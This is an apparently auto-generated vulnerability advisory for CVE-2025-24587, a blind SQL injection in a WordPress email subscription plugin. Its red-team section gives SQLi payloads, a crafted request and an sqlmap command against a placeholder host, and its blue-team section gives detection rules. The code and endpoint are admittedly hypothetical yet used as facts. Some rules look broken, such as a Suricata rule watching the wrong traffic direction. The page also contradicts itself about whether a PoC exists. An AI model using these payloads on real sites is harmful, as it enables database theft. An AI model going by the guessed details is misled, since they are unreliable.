CVE-2025-24587
Executive Summary
CVE-2025-24587 is a critical Blind SQL Injection vulnerability discovered in the WordPress plugin "Email Subscription Popup" by Nks. The vulnerability resides in the email-subscribe component, affecting all versions up to and including 1.2.23. An unauthenticated attacker can exploit improper neutralization of special elements used in an SQL command, allowing them to perform blind SQL injection attacks. This can lead to unauthorized data extraction from the underlying database, including user credentials, session tokens, and other sensitive information. The CVSS score of 7.6 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high potential for data confidentiality impact. As of this report, no official patch is available, and no public proof-of-concept (PoC) code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Organizations using this plugin should treat it as a supply chain risk, as the plugin is a third-party component integrated into the WordPress ecosystem. The lack of a patch and the potential for widespread exploitation make it a high-priority item for security teams. No known malicious packages or typosquatting variants have been identified at this time.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
- Base Score: 7.6 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full database read access possible.
- Integrity Impact: Low (I:L) – Limited ability to modify data.
- Availability Impact: Low (A:L) – Potential for database disruption.
Threat Level: High. The combination of remote, unauthenticated exploitation and the potential for data exfiltration makes this a serious threat. The blind SQL injection nature means attackers can systematically extract data even without direct error messages.
Deep Dive & Mechanics
The vulnerability exists in the email-subscribe component of the Nks Email Subscription Popup plugin. The plugin likely processes user-supplied input (e.g., email address, name, or subscription preferences) without proper sanitization or parameterized queries. This allows an attacker to inject malicious SQL code into the query.
Blind SQL Injection means the attacker does not receive direct error messages or data output from the database. Instead, they infer information by observing the application's behavior (e.g., response time, HTTP status codes, or boolean responses). Common techniques include:
- Boolean-based: Injecting conditions that cause the page to behave differently (e.g.,
' OR 1=1--vs' OR 1=2--). - Time-based: Using database functions like
SLEEP()to introduce delays, allowing the attacker to infer true/false conditions.
The vulnerable parameter is likely passed to a SQL query without being bound as a parameter. For example, a vulnerable PHP code snippet might look like:
$email = $_POST['email'];
$query = "SELECT * FROM subscribers WHERE email = '$email'";
$result = mysqli_query($conn, $query);
An attacker could submit email=test@example.com' OR SLEEP(5)-- to trigger a time delay, confirming the injection point.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the vulnerable code and the required fix.
Vulnerable Code (Hypothetical):
// vulnerable.php
$email = $_POST['email'];
$sql = "INSERT INTO subscribers (email) VALUES ('$email')";
mysqli_query($conn, $sql);
Patched Code (Hypothetical):
// patched.php
$email = $_POST['email'];
$stmt = $conn->prepare("INSERT INTO subscribers (email) VALUES (?)");
$stmt->bind_param("s", $email);
$stmt->execute();
The fix involves using prepared statements with parameterized queries, which ensures user input is treated as data, not executable code. Input validation (e.g., email format check) should also be implemented as a defense-in-depth measure.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with Nks Email Subscription Popup <= 1.2.23 installed and active.
- Network access to the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.phpor a custom endpoint).
Exploitation Steps:
Identify the vulnerable parameter. Common parameters include
email,name, oraction. Use a web proxy (e.g., Burp Suite) to intercept the subscription request.Test for blind SQL injection. Send a request with a time-based payload:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=email_subscribe&email=test@example.com' OR SLEEP(5)--If the response is delayed by ~5 seconds, the parameter is vulnerable.
Extract data using boolean-based or time-based techniques. For example, to extract the database version:
' OR IF(SUBSTRING(@@version,1,1)='8', SLEEP(5), 0)--Automate extraction using tools like
sqlmap:sqlmap -u "http://target.com/wp-admin/admin-ajax.php" --data="action=email_subscribe&email=test" --technique=T --dbms=mysql --batch
No public exploit code is available at this time.
Blue Team (Defensive)
Detection & Response:
Monitor for suspicious SQL injection patterns in web server logs. Look for:
SLEEP,BENCHMARK,WAITFOR DELAYkeywords.- Unusual characters like single quotes (
'), double dashes (--), or#. - Repeated requests with varying payloads.
Deploy a Web Application Firewall (WAF) with rules to block SQL injection attempts. Example ModSecurity rule:
SecRule ARGS "@contains SLEEP" "id:1000,phase:2,deny,status:403,msg:'SQL Injection - Time-based'"Enable database query logging to detect anomalous queries.
Isolate the vulnerable plugin by disabling it until a patch is available. If disabling is not possible, restrict access to the vulnerable endpoint using IP whitelisting or
.htaccess:<Files "admin-ajax.php"> Require ip 192.168.1.0/24 </Files>
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing SQL keywords (
SLEEP,BENCHMARK,UNION,SELECT,OR 1=1). - Requests to
/wp-admin/admin-ajax.phpwithaction=email_subscribeand suspiciousemailparameter values. - Unusual response delays (e.g., 5-30 seconds) for normal-looking requests.
- HTTP requests containing SQL keywords (
Host IOCs:
- Database logs showing queries with injected SQL syntax.
- Web server logs (e.g.,
access.log) containing patterns like' OR SLEEP(5)--. - Presence of
sqlmapor similar tool artifacts on the attacker's machine (not directly on the target).
File IOCs:
- Modified plugin files (e.g.,
email-subscribe.php) if the attacker attempts to upload a webshell. - Unexpected files in the
wp-content/uploads/directory.
- Modified plugin files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_24587_SQLi_Blind {
meta:
description = "Detects blind SQL injection attempts targeting Nks Email Subscription Popup"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-24587"
strings:
$sleeper = /SLEEP\s*\(\s*\d+\s*\)/ nocase
$benchmark = /BENCHMARK\s*\(\s*\d+\s*,/ nocase
$waitfor = /WAITFOR\s+DELAY\s+'[^']+'/ nocase
$or_cond = /'\s+OR\s+\d+=\d+/ nocase
$union_sel = /UNION\s+SELECT/i
condition:
any of them
}
Sigma Rule
title: Blind SQL Injection Attempt Against Nks Email Subscription Popup
id: 8a3f7c2e-1b4d-4f5e-9a6b-7c8d9e0f1a2b
status: experimental
description: Detects time-based or boolean-based blind SQL injection payloads in HTTP requests to the vulnerable plugin endpoint.
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-uri-query|contains:
- 'SLEEP('
- 'BENCHMARK('
- 'WAITFOR DELAY'
- 'OR 1=1'
- 'OR 1=2'
- "'--"
- "'#"
condition: selection
falsepositives:
- Legitimate use of the word "sleep" in a non-SQL context (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24587 Blind SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=email_subscribe"; http_client_body; pcre:"/(SLEEP\s*\(\s*\d+\s*\)|BENCHMARK\s*\(\s*\d+\s*,|WAITFOR\s+DELAY|OR\s+\d+=\d+|UNION\s+SELECT)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to business operations.
- Apply virtual patching using a WAF to block SQL injection patterns.
- Monitor logs for exploitation attempts and respond accordingly.
Long-term Fix:
- The vendor (Nks) must release a patched version that uses prepared statements or parameterized queries. Until then, consider replacing the plugin with an alternative that is actively maintained.
Workaround:
- If the plugin cannot be disabled, restrict access to the vulnerable endpoint using
.htaccessor a reverse proxy:<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$ RewriteCond %{QUERY_STRING} action=email_subscribe RewriteRule .* - [F,L] </IfModule>
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.